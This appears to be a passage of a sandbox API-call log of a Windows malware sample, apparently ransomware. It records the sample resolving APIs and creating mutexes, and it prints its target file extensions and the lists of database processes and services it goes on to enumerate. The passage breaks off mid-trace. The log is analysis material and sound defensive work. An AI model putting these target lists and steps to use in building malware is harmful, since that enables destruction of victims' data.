# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 13.02.2020 00:39:37.019 Process: id = "1" image_name = "dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" page_root = "0x34059000" os_pid = "0x7f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x10c [0027.528] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0027.529] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0027.530] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0027.531] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0027.532] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0027.532] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x754b0000 [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0029.492] GetProcAddress (hModule=0x754b0000, lpProcName="OpenSCManagerW") returned 0x754bca64 [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="OpenServiceW") returned 0x754bca4c [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="CloseServiceHandle") returned 0x754c369c [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="ControlService") returned 0x754d7144 [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="QueryServiceStatus") returned 0x754c2a86 [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="EnumDependentServicesW") returned 0x754b1e3a [0029.493] GetProcAddress (hModule=0x754b0000, lpProcName="EnumServicesStatusExW") returned 0x754bb466 [0029.493] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76780000 [0031.274] GetProcAddress (hModule=0x76780000, lpProcName="SystemParametersInfoW") returned 0x767990d3 [0031.274] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75670000 [0033.748] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteExW") returned 0x75691e46 [0033.748] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77320000 [0033.748] GetProcAddress (hModule=0x77320000, lpProcName="NtQuerySystemInformation") returned 0x7733fda0 [0033.748] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000 [0033.853] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572dd6 [0033.853] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572f06 [0033.854] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74573058 [0033.854] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75360000 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="WSAStartup") returned 0x75363ab2 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="socket") returned 0x75363eb8 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="send") returned 0x75366f01 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="recv") returned 0x75366b0e [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="connect") returned 0x75366bdd [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="closesocket") returned 0x75363918 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="gethostbyname") returned 0x75377673 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="inet_addr") returned 0x7536311b [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="ntohl") returned 0x75362d57 [0034.093] GetProcAddress (hModule=0x75360000, lpProcName="htonl") returned 0x75362d57 [0034.094] GetProcAddress (hModule=0x75360000, lpProcName="htons") returned 0x75362d8b [0034.094] GetProcessHeap () returned 0x520000 [0034.094] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x534218 [0034.094] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=17580936620) returned 1 [0034.094] GetTickCount () returned 0x1152e61 [0034.094] GetCurrentProcessId () returned 0x7f0 [0034.095] GetTickCount () returned 0x1152e61 [0034.095] GetTickCount () returned 0x1152e61 [0034.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x534240 [0034.095] GetVersion () returned 0x1db10106 [0034.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7) returned 0x523800 [0034.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x530d20 [0034.095] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530d20, Size=0x20) returned 0x534290 [0034.095] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534290, Size=0x40) returned 0x534800 [0034.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x534a50 [0034.095] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LA") returned 0x0 [0034.096] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_O60I3LA") returned 0x84 [0034.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x523800 | out: hHeap=0x520000) returned 1 [0034.096] lstrlenW (lpString="Global\\syncronize_") returned 18 [0034.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534800 | out: hHeap=0x520000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7) returned 0x523800 [0034.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x530d20 [0034.096] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530d20, Size=0x20) returned 0x534290 [0034.096] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534290, Size=0x40) returned 0x534800 [0034.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x544a58 [0034.096] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LU") returned 0x0 [0034.097] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_O60I3LU") returned 0x88 [0034.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x523800 | out: hHeap=0x520000) returned 1 [0034.097] lstrlenW (lpString="Global\\syncronize_") returned 18 [0034.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534800 | out: hHeap=0x520000) returned 1 [0034.097] GetVersion () returned 0x1db10106 [0034.097] GetCurrentProcess () returned 0xffffffff [0034.097] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0034.097] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0034.097] CloseHandle (hObject=0x8c) returned 1 [0034.097] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0034.097] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x523800 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x530d20 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530d20, Size=0x20) returned 0x534290 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534290, Size=0x40) returned 0x534800 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534800, Size=0x80) returned 0x534800 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534800, Size=0x100) returned 0x534800 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x534908 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x530910 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x530920 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x530930 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x530d20 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x534948 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x530d38 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534948, Size=0x8) returned 0x534948 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x530d50 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534948, Size=0x10) returned 0x534948 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x530d68 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x530d80 [0034.097] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534948, Size=0x20) returned 0x534948 [0034.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x530d98 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x530db0 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530910, Size=0x8) returned 0x530910 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530920, Size=0x8) returned 0x530920 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x534970 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x530dc8 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x534980 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x530de0 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534980, Size=0x8) returned 0x534980 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554a78 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534980, Size=0x10) returned 0x534980 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554a90 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x534998 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534980, Size=0x20) returned 0x5349a8 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530910, Size=0x10) returned 0x534980 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530920, Size=0x10) returned 0x5349d0 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x530910 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554aa8 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x530920 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554ac0 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x530920, Size=0x8) returned 0x530920 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5349e8 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554ad8 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x5349f8 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554af0 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5349f8, Size=0x8) returned 0x5349f8 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534980, Size=0x20) returned 0x554e60 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5349d0, Size=0x20) returned 0x554e88 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5349d0 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554b08 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x534980 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554b20 [0034.098] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534980, Size=0x8) returned 0x534980 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x554eb0 [0034.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x554ed0 [0034.098] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0034.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534800 | out: hHeap=0x520000) returned 1 [0034.099] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b38 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b38, Size=0x20) returned 0x534498 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x534858 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x80) returned 0x534858 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x100) returned 0x5551a8 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b38 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b38, Size=0x20) returned 0x534498 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x534858 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x80) returned 0x534858 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x100) returned 0x5552b0 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554b38 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x534858 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x8) returned 0x534858 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x534868 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x10) returned 0x534888 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x5348a0 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x534498 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534888, Size=0x20) returned 0x5348c0 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x5344c0 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x5348e8 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x5344e8 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554b68 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x534858 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5553b8 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x8) returned 0x534858 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c) returned 0x555400 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534858, Size=0x10) returned 0x534888 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x555448 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x555468 [0034.110] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534888, Size=0x20) returned 0x555488 [0034.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x5554b0 [0034.110] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0034.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5551a8 | out: hHeap=0x520000) returned 1 [0034.111] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0034.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5552b0 | out: hHeap=0x520000) returned 1 [0034.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x555a30 [0034.116] EnumServicesStatusExW (in: hSCManager=0x555a30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0034.117] GetLastError () returned 0xea [0034.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x559330 [0034.117] EnumServicesStatusExW (in: hSCManager=0x555a30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x559330, cbBufSize=0x134c, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x559330, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0034.118] CloseServiceHandle (hSCObject=0x555a30) returned 1 [0034.122] lstrlenW (lpString="Appinfo") returned 7 [0034.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.122] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.122] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.122] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.122] lstrlenW (lpString="AudioSrv") returned 8 [0034.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.122] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.122] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.122] lstrlenW (lpString="BFE") returned 3 [0034.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.122] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.122] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.123] lstrlenW (lpString="CryptSvc") returned 8 [0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.123] lstrlenW (lpString="CscService") returned 10 [0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.123] lstrlenW (lpString="DcomLaunch") returned 10 